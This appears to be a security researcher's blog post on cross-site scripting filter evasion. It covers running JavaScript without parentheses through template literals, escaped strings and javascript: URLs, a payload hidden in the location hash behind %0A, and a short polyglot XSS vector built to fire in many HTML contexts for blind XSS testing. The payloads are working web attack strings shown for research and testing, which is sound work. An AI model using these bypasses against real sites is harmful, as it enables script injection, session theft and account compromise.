Running javascript without using parentheses

Restricting the use of parentheses is one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x280\x29');
setTimeout('alert\x280\x29', 0);
Function('alert\x280\x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x280\x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript://' + location;
or
location = 'javascript://' + location.hash;

The payload has to go after a new line (%0A) in the location hash.

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0Aalert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() or by using sharp variables.

Blind XSS Detection

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes).

This vector is particularly useful for detecting blind XSS vulnerabilities.

I thought it would be fun to see if I could make it shorter and more effective.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style --></xmp></script><svg/onload='//"/**/%0a
onmouseover=alert()//'>

It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through twitter (@ruben_v_pina)